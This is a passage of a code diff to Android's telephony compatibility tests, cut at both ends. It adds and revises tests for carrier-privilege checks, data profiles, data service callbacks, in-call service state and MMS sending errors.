+        assertEquals(mccMncs, availableNetworkInfo.getMccMncs());
+        assertEquals(ras, availableNetworkInfo.getRadioAccessSpecifiers());
+        assertEquals(bands, availableNetworkInfo.getBands());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
index 9cc5e7a..a323cc5 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
@@ -23,25 +23,25 @@
 import android.os.PersistableBundle;
 import android.service.carrier.CarrierIdentifier;
 import android.service.carrier.CarrierService;
+import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
 import android.test.ServiceTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CarrierPrivilegeUtils;
+
 public class CarrierServiceTest extends ServiceTestCase<CarrierServiceTest.TestCarrierService> {
     private static final String TAG = CarrierServiceTest.class.getSimpleName();
 
-    private boolean mHasCellular;
-
     public CarrierServiceTest() { super(TestCarrierService.class); }
 
     @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mHasCellular = hasCellular();
-        if (!mHasCellular) {
+    protected void runTest() throws Throwable {
+        if (!hasCellular()) {
             Log.e(TAG, "No cellular support, all tests will be skipped.");
+            return;
         }
+        super.runTest();
     }
 
     private static boolean hasCellular() {
@@ -53,29 +53,91 @@
     }
 
     public void testNotifyCarrierNetworkChange_true() {
-        if (!mHasCellular) return;
-
-        notifyCarrierNetworkChange(true);
+        notifyCarrierNetworkChangeWithoutCarrierPrivileges(/*active=*/ true);
+        notifyCarrierNetworkChangeWithCarrierPrivileges(/*active=*/ true);
     }
 
     public void testNotifyCarrierNetworkChange_false() {
-        if (!mHasCellular) return;
-
-        notifyCarrierNetworkChange(false);
+        notifyCarrierNetworkChangeWithoutCarrierPrivileges(/*active=*/ false);
+        notifyCarrierNetworkChangeWithCarrierPrivileges(/*active=*/ false);
     }
 
-    private void notifyCarrierNetworkChange(boolean active) {
+    private void notifyCarrierNetworkChangeWithoutCarrierPrivileges(boolean active) {
         Intent intent = new Intent(getContext(), TestCarrierService.class);
         startService(intent);
 
         try {
             getService().notifyCarrierNetworkChange(active);
             fail("Expected SecurityException for notifyCarrierNetworkChange(" + active + ")");
-        } catch (SecurityException e) { /* Expected */ }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    private void notifyCarrierNetworkChangeWithCarrierPrivileges(boolean active) {
+        Intent intent = new Intent(getContext(), TestCarrierService.class);
+        startService(intent);
+
+        try {
+            CarrierPrivilegeUtils.withCarrierPrivileges(
+                    getContext(),
+                    SubscriptionManager.getDefaultSubscriptionId(),
+                    () -> getService().notifyCarrierNetworkChange(active));
+        } catch (SecurityException se) {
+            fail("notifyCarrierNetworkChange should not throw SecurityException when has carrier "
+                    + "privileges");
+        } catch (Exception e) {
+            fail("Exception thrown when try to get carrier privileges.");
+        }
+    }
+
+    public void testNotifyCarrierNetworkChangeWithSubId_true() {
+        notifyCarrierNetworkChangeForSubIdWithoutCarrierPrivileges(/*active=*/ true);
+        notifyCarrierNetworkChangeForSubIdWithCarrierPrivileges(/*active=*/true);
+    }
+
+    public void testNotifyCarrierNetworkChangeWithSubId_false() {
+        notifyCarrierNetworkChangeForSubIdWithoutCarrierPrivileges(/*active=*/ false);
+        notifyCarrierNetworkChangeForSubIdWithCarrierPrivileges(/*active=*/false);
+    }
+
+    private void notifyCarrierNetworkChangeForSubIdWithoutCarrierPrivileges(boolean active) {
+        Intent intent = new Intent(getContext(), TestCarrierService.class);
+        startService(intent);
+
+        try {
+            int subId = SubscriptionManager.getDefaultSubscriptionId();
+            getService().notifyCarrierNetworkChange(subId, active);
+            fail("Expected SecurityException for notifyCarrierNetworkChangeWithSubId(" + subId
+                    + ", " + active + ")");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    private void notifyCarrierNetworkChangeForSubIdWithCarrierPrivileges(boolean active) {
+        Intent intent = new Intent(getContext(), TestCarrierService.class);
+        startService(intent);
+
+        try {
+            int subId = SubscriptionManager.getDefaultSubscriptionId();
+            CarrierPrivilegeUtils.withCarrierPrivileges(
+                    getContext(),
+                    subId,
+                    () -> getService().notifyCarrierNetworkChange(subId, active));
+        } catch (SecurityException securityException) {
+            fail("notifyCarrierNetworkChange with subId should not throw SecurityException when "
+                    + "has carrier privileges");
+        } catch (Exception e) {
+            fail("Exception thrown when try to get carrier privileges.");
+        }
     }
 
     public static class TestCarrierService extends CarrierService {
         @Override
-        public PersistableBundle onLoadConfig(CarrierIdentifier id) { return null; }
+        public PersistableBundle onLoadConfig(CarrierIdentifier id) {
+            return null;
+        }
+        public PersistableBundle onLoadConfig(int subId, CarrierIdentifier id) {
+            return null;
+        }
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellLocationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellLocationTest.java
index fc97d48..871e378 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellLocationTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellLocationTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.os.Looper;
 import android.net.ConnectivityManager;
 import android.telephony.CellLocation;
@@ -40,6 +41,7 @@
     private boolean mOnCellLocationChangedCalled;
     private final Object mLock = new Object();
     private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
     private PhoneStateListener mListener;
     private static ConnectivityManager mCm;
     private static final String TAG = "android.telephony.cts.CellLocationTest";
@@ -49,6 +51,7 @@
         mTelephonyManager =
                 (TelephonyManager)getContext().getSystemService(Context.TELEPHONY_SERVICE);
         mCm = (ConnectivityManager)getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mPackageManager = getContext().getPackageManager();
     }
 
     @After
@@ -61,8 +64,8 @@
 
     @Test
     public void testCellLocation() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index 6b8499d..d874280 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -68,7 +68,11 @@
                 .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
                 .build();
     private static final String DNN = "DNN";
-    private static final byte[] OS_APP_ID = {1, 2, 3, 4};
+    // 97a498e3fc925c9489860333d06e4e470a454e5445525052495345.
+    // [OsAppId.ANDROID_OS_ID, "ENTERPRISE", 1]
+    private static final byte[] OS_APP_ID = {-105, -92, -104, -29, -4, -110, 92,
+            -108, -119, -122, 3, 51, -48, 110, 78, 71, 10, 69, 78, 84, 69,
+            82, 80, 82, 73, 83, 69};
     private static final List<TrafficDescriptor> TRAFFIC_DESCRIPTORS =
             Arrays.asList(new TrafficDescriptor(DNN, OS_APP_ID));
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataProfileTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataProfileTest.java
index 5740272..d592e0f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataProfileTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataProfileTest.java
@@ -18,9 +18,16 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.os.Parcel;
+import android.telephony.TelephonyManager;
 import android.telephony.data.ApnSetting;
 import android.telephony.data.DataProfile;
+import android.telephony.data.TrafficDescriptor;
 
 import org.junit.Test;
 
@@ -33,13 +40,15 @@
     private static final String PASSWORD = "PASSWORD";
     private static final int TYPE = DataProfile.TYPE_3GPP2;
     private static final boolean IS_ENABLED = true;
-    private static final int APN_BITMASK = 1;
+    private static final int APN_BITMASK = ApnSetting.TYPE_DEFAULT;
     private static final int ROAMING_PROTOCOL_TYPE = ApnSetting.PROTOCOL_IP;
-    private static final int BEARER_BITMASK = 14;
+    private static final int BEARER_BITMASK = (int) TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
+    private static final long LINGERING_BEARER_BITMASK = TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
     private static final int MTU_V4 = 1440;
     private static final int MTU_V6 = 1400;
     private static final boolean IS_PREFERRED = true;
     private static final boolean IS_PERSISTENT = true;
+    private static final boolean IS_ALWAYS_ON = true;
 
     @Test
     public void testConstructorAndGetters() {
@@ -188,5 +197,146 @@
 
         DataProfile parcelProfile = DataProfile.CREATOR.createFromParcel(stateParcel);
         assertThat(profile).isEqualTo(parcelProfile);
+
+        ApnSetting apnSetting = new ApnSetting.Builder()
+                .setEntryName(APN)
+                .setApnName(APN)
+                .setApnTypeBitmask(APN_BITMASK)
+                .setNetworkTypeBitmask(BEARER_BITMASK)
+                .setMtuV4(MTU_V4)
+                .setMtuV6(MTU_V6)
+                .setModemCognitive(IS_PERSISTENT)
+                .setProtocol(PROTOCOL_TYPE)
+                .setRoamingProtocol(ROAMING_PROTOCOL_TYPE)
+                .setUser(USER_NAME)
+                .setPassword(PASSWORD)
+                .setCarrierEnabled(IS_ENABLED)
+                .setProfileId(PROFILE_ID)
+                .setAuthType(AUTH_TYPE)
+                .setLingeringNetworkTypeBitmask(LINGERING_BEARER_BITMASK)
+                .setAlwaysOn(IS_ALWAYS_ON)
+                .build();
+
+        // 97a498e3fc925c9489860333d06e4e470a454e5445525052495345.
+        // [OsAppId.ANDROID_OS_ID, "ENTERPRISE", 1]
+        byte[] osAppId = {-105, -92, -104, -29, -4, -110, 92,
+                -108, -119, -122, 3, 51, -48, 110, 78, 71, 10, 69, 78, 84, 69,
+                82, 80, 82, 73, 83, 69};
+        TrafficDescriptor td = new TrafficDescriptor.Builder()
+                .setDataNetworkName(APN)
+                .setOsAppId(osAppId)
+                .build();
+
+        profile = new DataProfile.Builder()
+                .setApnSetting(apnSetting)
+                .setTrafficDescriptor(td)
+                .build();
+
+        stateParcel = Parcel.obtain();
+        profile.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+
+        parcelProfile = DataProfile.CREATOR.createFromParcel(stateParcel);
+        assertThat(profile).isEqualTo(parcelProfile);
+
+        stateParcel.recycle();
+    }
+
+    @Test
+    public void testGetApnSetting() {
+        ApnSetting apnSetting = new ApnSetting.Builder()
+                .setEntryName(APN)
+                .setApnName(APN)
+                .setApnTypeBitmask(APN_BITMASK)
+                .setNetworkTypeBitmask(BEARER_BITMASK)
+                .setMtuV4(MTU_V4)
+                .setMtuV6(MTU_V6)
+                .setModemCognitive(IS_PERSISTENT)
+                .setProtocol(PROTOCOL_TYPE)
+                .setRoamingProtocol(ROAMING_PROTOCOL_TYPE)
+                .setUser(USER_NAME)
+                .setPassword(PASSWORD)
+                .setCarrierEnabled(IS_ENABLED)
+                .setProfileId(PROFILE_ID)
+                .setAuthType(AUTH_TYPE)
+                .setLingeringNetworkTypeBitmask(LINGERING_BEARER_BITMASK)
+                .setAlwaysOn(IS_ALWAYS_ON)
+                .build();
+
+        DataProfile profile = new DataProfile.Builder()
+                .setApnSetting(apnSetting)
+                .build();
+
+        assertEquals(apnSetting, profile.getApnSetting());
+    }
+
+    @Test
+    public void testGetTrafficDescriptor() {
+        // 97a498e3fc925c9489860333d06e4e470a454e5445525052495345.
+        // [OsAppId.ANDROID_OS_ID, "ENTERPRISE", 1]
+        byte[] osAppId = {-105, -92, -104, -29, -4, -110, 92,
+                -108, -119, -122, 3, 51, -48, 110, 78, 71, 10, 69, 78, 84, 69,
+                82, 80, 82, 73, 83, 69};
+        TrafficDescriptor td = new TrafficDescriptor.Builder()
+                .setDataNetworkName(APN)
+                .setOsAppId(osAppId)
+                .build();
+
+        DataProfile profile = new DataProfile.Builder()
+                .setTrafficDescriptor(td)
+                .build();
+
+        assertEquals(td, profile.getTrafficDescriptor());
+    }
+
+    @Test
+    public void testNullApnSetting() {
+        // 97a498e3fc925c9489860333d06e4e470a454e5445525052495345.
+        // [OsAppId.ANDROID_OS_ID, "ENTERPRISE", 1]
+        byte[] osAppId = {-105, -92, -104, -29, -4, -110, 92,
+                -108, -119, -122, 3, 51, -48, 110, 78, 71, 10, 69, 78, 84, 69,
+                82, 80, 82, 73, 83, 69};
+        TrafficDescriptor td = new TrafficDescriptor.Builder()
+                .setDataNetworkName(APN)
+                .setOsAppId(osAppId)
+                .build();
+        DataProfile profile = new DataProfile.Builder()
+                .setApnSetting(null)
+                .setTrafficDescriptor(td)
+                .build();
+
+        assertEquals("", profile.getApn());
+        assertEquals(null, profile.getApnSetting());
+        assertEquals(ApnSetting.AUTH_TYPE_NONE, profile.getAuthType());
+        assertEquals((int) TelephonyManager.NETWORK_TYPE_BITMASK_UNKNOWN,
+                profile.getBearerBitmask());
+        assertEquals(0, profile.getMtu());
+        assertEquals(0, profile.getMtuV4());
+        assertEquals(0, profile.getMtuV6());
+        assertEquals(null, profile.getUserName());
+        assertEquals(null, profile.getPassword());
+        assertEquals(0, profile.getProfileId());
+        assertEquals(ApnSetting.PROTOCOL_IP, profile.getProtocolType());
+        assertEquals(ApnSetting.PROTOCOL_IP, profile.getRoamingProtocolType());
+        assertEquals(ApnSetting.TYPE_NONE, profile.getSupportedApnTypesBitmask());
+        assertEquals(DataProfile.TYPE_COMMON, profile.getType());
+        assertTrue(profile.isEnabled());
+        assertFalse(profile.isPersistent());
+        assertFalse(profile.isPreferred());
+        assertEquals(td, profile.getTrafficDescriptor());
+    }
+
+    @Test
+    public void illegalDataProfile() {
+        try {
+            DataProfile profile = new DataProfile.Builder()
+                    .setApnSetting(null)
+                    .setTrafficDescriptor(null)
+                    .build();
+            fail("Should throw exception if both APN setting and traffic descriptor are null.");
+        } catch (IllegalArgumentException ex) {
+            // Expected to get illegal argument exception.
+        }
+
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataServiceCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataServiceCallbackTest.java
new file mode 100644
index 0000000..1142fef
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataServiceCallbackTest.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.net.InetAddresses;
+import android.net.LinkAddress;
+import android.os.IBinder;
+import android.telephony.data.ApnSetting;
+import android.telephony.data.DataCallResponse;
+import android.telephony.data.DataProfile;
+import android.telephony.data.DataServiceCallback;
+import android.telephony.data.IDataServiceCallback;
+import android.telephony.data.NetworkSliceInfo;
+import android.telephony.data.TrafficDescriptor;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+public class DataServiceCallbackTest {
+    private static final int RESULT = DataServiceCallback.RESULT_SUCCESS;
+    private static final int ID = 1;
+    private static final int PROTOCOL_TYPE = ApnSetting.PROTOCOL_IP;
+    private static final int MTU_V4 = 1440;
+    private static final int MTU_V6 = 1400;
+    private static final TrafficDescriptor TRAFFIC_DESCRIPTOR = new TrafficDescriptor(
+            "DNN", new byte[]{-105, -92, -104, -29, -4, -110, 92, -108, -119, -122, 3, 51, -48, 110,
+                    78, 71, 10, 69, 78, 84, 69, 82, 80, 82, 73, 83, 69});
+    private static final DataCallResponse DATA_CALL_RESPONSE = new DataCallResponse.Builder()
+            .setCause(0)
+            .setRetryDurationMillis(-1L)
+            .setId(ID)
+            .setLinkStatus(2)
+            .setProtocolType(PROTOCOL_TYPE)
+            .setInterfaceName("IF_NAME")
+            .setAddresses(Arrays.asList(
+                    new LinkAddress(InetAddresses.parseNumericAddress("99.88.77.66"), 0)))
+            .setDnsAddresses(Arrays.asList(InetAddresses.parseNumericAddress("55.66.77.88")))
+            .setGatewayAddresses(Arrays.asList(InetAddresses.parseNumericAddress("11.22.33.44")))
+            .setPcscfAddresses(Arrays.asList(InetAddresses.parseNumericAddress("22.33.44.55")))
+            .setMtuV4(MTU_V4)
+            .setMtuV6(MTU_V6)
+            .setHandoverFailureMode(DataCallResponse.HANDOVER_FAILURE_MODE_DO_FALLBACK)
+            .setPduSessionId(5)
+            .setSliceInfo(new NetworkSliceInfo.Builder()
+                    .setSliceServiceType(NetworkSliceInfo.SLICE_SERVICE_TYPE_EMBB)
+                    .setSliceDifferentiator(1)
+                    .setMappedHplmnSliceDifferentiator(10)
+                    .setMappedHplmnSliceServiceType(NetworkSliceInfo.SLICE_SERVICE_TYPE_MIOT)
+                    .build())
+            .setTrafficDescriptors(Arrays.asList(TRAFFIC_DESCRIPTOR))
+            .build();
+    private static final List<DataCallResponse> DATA_CALL_LIST = Arrays.asList(DATA_CALL_RESPONSE);
+    private static final String APN = "FAKE_APN";
+    private static final DataProfile DATA_PROFILE = new DataProfile.Builder()
+            .setApnSetting(new ApnSetting.Builder()
+                    .setEntryName(APN)
+                    .setApnName(APN)
+                    .setApnTypeBitmask(ApnSetting.TYPE_DEFAULT)
+                    .setAuthType(ApnSetting.AUTH_TYPE_NONE)
+                    .setCarrierEnabled(true)
+                    .setModemCognitive(true)
+                    .setMtuV4(MTU_V4)
+                    .setMtuV6(MTU_V6)
+                    .setNetworkTypeBitmask(ApnSetting.TYPE_DEFAULT)
+                    .setProfileId(ID)
+                    .setPassword("PASSWORD")
+                    .setProtocol(PROTOCOL_TYPE)
+                    .setRoamingProtocol(PROTOCOL_TYPE)
+                    .setUser("USER_NAME")
+                    .build())
+            .setPreferred(true)
+            .setType(DataProfile.TYPE_COMMON)
+            .setTrafficDescriptor(TRAFFIC_DESCRIPTOR)
+            .build();
+
+    DataServiceCallback mDataServiceCallback;
+    int mResult;
+    DataCallResponse mResponse;
+    List<DataCallResponse> mDataCallList;
+    String mApn;
+    DataProfile mDataProfile;
+
+    private class TestDataServiceCallback implements IDataServiceCallback {
+        public void onSetupDataCallComplete(int result, DataCallResponse response) {
+            mResult = result;
+            mResponse = response;
+        }
+
+        public void onDeactivateDataCallComplete(int result) {
+            mResult = result;
+        }
+
+        public void onSetInitialAttachApnComplete(int result) {
+            mResult = result;
+        }
+
+        public void onSetDataProfileComplete(int result) {
+            mResult = result;
+        }
+
+        public void onRequestDataCallListComplete(int result, List<DataCallResponse> dataCallList) {
+            mResult = result;
+            mDataCallList = dataCallList;
+        }
+
+        public void onDataCallListChanged(List<DataCallResponse> dataCallList) {
+            mDataCallList = dataCallList;
+        }
+
+        public void onHandoverStarted(int result) {
+            mResult = result;
+        }
+
+        public void onHandoverCancelled(int result) {
+            mResult = result;
+        }
+
+        public void onApnUnthrottled(String apn) {
+            mApn = apn;
+        }
+
+        public void onDataProfileUnthrottled(DataProfile dataProfile) {
+            mDataProfile = dataProfile;
+        }
+
+        public IBinder asBinder() {
+            return null;
+        }
+    }
+
+    @Before
+    public void setUp() {
+        mDataServiceCallback = new DataServiceCallback(new TestDataServiceCallback());
+    }
+
+    @Test
+    public void testOnSetupDataCallComplete() {
+        mDataServiceCallback.onSetupDataCallComplete(RESULT, DATA_CALL_RESPONSE);
+        assertThat(RESULT).isEqualTo(mResult);
+        assertThat(DATA_CALL_RESPONSE).isEqualTo(mResponse);
+    }
+
+    @Test
+    public void testOnDeactivateDataCallComplete() {
+        mDataServiceCallback.onDeactivateDataCallComplete(RESULT);
+        assertThat(RESULT).isEqualTo(mResult);
+    }
+
+    @Test
+    public void testOnSetInitialAttachApnComplete() {
+        mDataServiceCallback.onSetInitialAttachApnComplete(RESULT);
+        assertThat(RESULT).isEqualTo(mResult);
+    }
+
+    @Test
+    public void testOnSetDataProfileComplete() {
+        mDataServiceCallback.onSetDataProfileComplete(RESULT);
+        assertThat(RESULT).isEqualTo(mResult);
+    }
+
+    @Test
+    public void testOnRequestDataCallListComplete() {
+        mDataServiceCallback.onRequestDataCallListComplete(RESULT, DATA_CALL_LIST);
+        assertThat(RESULT).isEqualTo(mResult);
+        assertThat(DATA_CALL_LIST).isEqualTo(mDataCallList);
+    }
+
+    @Test
+    public void testOnDataCallListChanged() {
+        mDataServiceCallback.onDataCallListChanged(DATA_CALL_LIST);
+        assertThat(DATA_CALL_LIST).isEqualTo(mDataCallList);
+    }
+    @Test
+    public void testOnHandoverStarted() {
+        mDataServiceCallback.onHandoverStarted(RESULT);
+        assertThat(RESULT).isEqualTo(mResult);
+    }
+
+    @Test
+    public void testOnHandoverCancelled() {
+        mDataServiceCallback.onHandoverCancelled(RESULT);
+        assertThat(RESULT).isEqualTo(mResult);
+    }
+
+    @Test
+    public void testOnApnUnthrottled() {
+        mDataServiceCallback.onApnUnthrottled(APN);
+        assertThat(RESULT).isEqualTo(mResult);
+        assertThat(APN).isEqualTo(mApn);
+    }
+
+    @Test
+    public void testOnDataProfileUnthrottled() {
+        mDataServiceCallback.onDataProfileUnthrottled(DATA_PROFILE);
+        assertThat(RESULT).isEqualTo(mResult);
+        assertThat(DATA_PROFILE).isEqualTo(mDataProfile);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/InCallServiceStateValidator.java b/tests/tests/telephony/current/src/android/telephony/cts/InCallServiceStateValidator.java
new file mode 100644
index 0000000..f76e5bd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/InCallServiceStateValidator.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.content.Intent;
+import android.telecom.Call;
+import android.telecom.InCallService;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+public class InCallServiceStateValidator  extends InCallService {
+
+    private static final String LOG_TAG = "InCallServiceStateValidator";
+    private static final Object sLock = new Object();
+    private static InCallServiceCallbacks sCallbacks;
+    private static CountDownLatch sLatch  = new CountDownLatch(1);
+
+    private final List<Call> mCalls = Collections.synchronizedList(new ArrayList<>());
+    private final List<Call> mConferenceCalls = Collections.synchronizedList(new ArrayList<>());
+    private final Object mLock = new Object();
+    private boolean mIsServiceBound = false;
+
+    public static class InCallServiceCallbacks {
+        private InCallServiceStateValidator mService = null;
+        public Semaphore lock = new Semaphore(0);
+
+        public void onCallAdded(Call call, int numCalls) {};
+        public void onCallRemoved(Call call, int numCalls) {};
+        public void onCallStateChanged(Call call, int state) {};
+        public void onChildrenChanged(Call call, List<Call> children) {};
+
+        public InCallServiceStateValidator getService() {
+            if (mService == null) {
+                try {
+                    sLatch.await(3000, TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.d(LOG_TAG, "InterruptedException");
+                }
+                sLatch  = new CountDownLatch(1);
+            }
+            return mService;
+        }
+
+        public void setService(InCallServiceStateValidator service) {
+            mService = service;
+        }
+
+        public void resetLock() {
+            lock = new Semaphore(0);
+        }
+    }
+
+    public static void setCallbacks(InCallServiceCallbacks callbacks) {
+        synchronized (sLock) {
+            sCallbacks = callbacks;
+        }
+    }
+
+    private InCallServiceCallbacks getCallbacks() {
+        synchronized (sLock) {
+            if (sCallbacks != null) {
+                sCallbacks.setService(this);
+            }
+            return sCallbacks;
+        }
+    }
+
+    /**
+     * Note that the super implementations of the callback methods are all no-ops, but we call
+     * them anyway to make sure that the CTS coverage tool detects that we are testing them.
+     */
+    private Call.Callback mCallCallback = new Call.Callback() {
+        @Override
+        public void onStateChanged(Call call, int state) {
+            super.onStateChanged(call, state);
+            if (getCallbacks() != null) {
+                getCallbacks().onCallStateChanged(call, state);
+            }
+        }
+
+        @Override
+        public void onChildrenChanged(Call call, List<Call> children) {
+            super.onChildrenChanged(call, children);
+            if (getCallbacks() != null) {
+                getCallbacks().onChildrenChanged(call, children);
+            }
+        }
+    };
+
+    @Override
+    public android.os.IBinder onBind(android.content.Intent intent) {
+        if (getCallbacks() != null) {
+            getCallbacks().setService(this);
+        }
+        mIsServiceBound = true;
+        sLatch.countDown();
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        mIsServiceBound = false;
+        mCalls.clear();
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onCallAdded(Call call) {
+        super.onCallAdded(call);
+        if (call.getDetails().hasProperty(Call.Details.PROPERTY_CONFERENCE)) {
+            if (!mConferenceCalls.contains(call)) {
+                mConferenceCalls.add(call);
+                call.registerCallback(mCallCallback);
+            }
+        } else {
+            if (!mCalls.contains(call)) {
+                mCalls.add(call);
+                call.registerCallback(mCallCallback);
+            }
+        }
+
+        if (getCallbacks() != null) {
+            getCallbacks().onCallAdded(call, mCalls.size());
+        }
+    }
+
+    @Override
+    public void onCallRemoved(Call call) {
+        super.onCallRemoved(call);
+        if (call.getDetails().hasProperty(Call.Details.PROPERTY_CONFERENCE)) {
+            mConferenceCalls.remove(call);
+        } else {
+            mCalls.remove(call);
+        }
+
+        if (getCallbacks() != null) {
+            getCallbacks().onCallRemoved(call, mCalls.size());
+        }
+        call.unregisterCallback(mCallCallback);
+    }
+
+    /**
+    * @return the number of calls currently added to the {@code InCallService}.
+    */
+    public int getCallCount() {
+        return mCalls.size();
+    }
+
+    public boolean isServiceBound() {
+        return mIsServiceBound;
+    }
+
+    public boolean isServiceUnBound() {
+        return !mIsServiceBound;
+    }
+
+    /**
+     * @return the number of conference calls currently added to the {@code InCallService}.
+     */
+    public int getConferenceCallCount() {
+        Log.d(LOG_TAG, "getConferenceCallCount = " + mConferenceCalls.size());
+        return mConferenceCalls.size();
+    }
+
+    /**
+     * @return the most recently added conference call that exists inside the {@code InCallService}
+     */
+    public Call getLastConferenceCall() {
+        if (!mConferenceCalls.isEmpty()) {
+            return mConferenceCalls.get(mConferenceCalls.size() - 1);
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 57b5a84..dfcaf2c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -100,11 +100,13 @@
         private final Object mLock;
         private boolean mSuccess;
         private boolean mDone;
+        private int mExpectedErrorResultCode;
 
-        public SentReceiver() {
+        SentReceiver(int expectedErrorResultCode) {
             mLock = new Object();
             mSuccess = false;
             mDone = false;
+            mExpectedErrorResultCode = expectedErrorResultCode;
         }
 
         @Override
@@ -135,6 +137,9 @@
                 }
             } else {
                 Log.e(TAG, "Failure result=" + resultCode);
+                if (resultCode == mExpectedErrorResultCode) {
+                    mSuccess = true;
+                }
                 if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
                     final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
                     Log.e(TAG, "HTTP failure=" + httpError);
@@ -161,7 +166,6 @@
                 Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
                 return mDone && mSuccess;
             }
-
         }
     }
 
@@ -175,15 +179,23 @@
 
     @Test
     public void testSendMmsMessage() {
-        sendMmsMessage(0L /* messageId */);
+        sendMmsMessage(0L /* messageId */, Activity.RESULT_OK, SmsManager.getDefault());
+    }
+
+    @Test
+    public void testSendMmsMessageWithInactiveSubscriptionId() {
+        int inactiveSubId = 127;
+        sendMmsMessage(0L /* messageId */, SmsManager.MMS_ERROR_INACTIVE_SUBSCRIPTION,
+                SmsManager.getSmsManagerForSubscriptionId(inactiveSubId));
     }
 
     @Test
     public void testSendMmsMessageWithMessageId() {
-        sendMmsMessage(MESSAGE_ID);
+        sendMmsMessage(MESSAGE_ID, Activity.RESULT_OK, SmsManager.getDefault());
     }
 
-    private void sendMmsMessage(long messageId) {
+    private void sendMmsMessage(long messageId, int expectedErrorResultCode,
+            SmsManager smsManager) {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
              || !doesSupportMMS()) {
             Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
@@ -194,7 +206,7 @@
 
         final Context context = getContext();
         // Register sent receiver
-        mSentReceiver = new SentReceiver();
+        mSentReceiver = new SentReceiver(expectedErrorResultCode);
         context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
         // Create local provider file for sending PDU
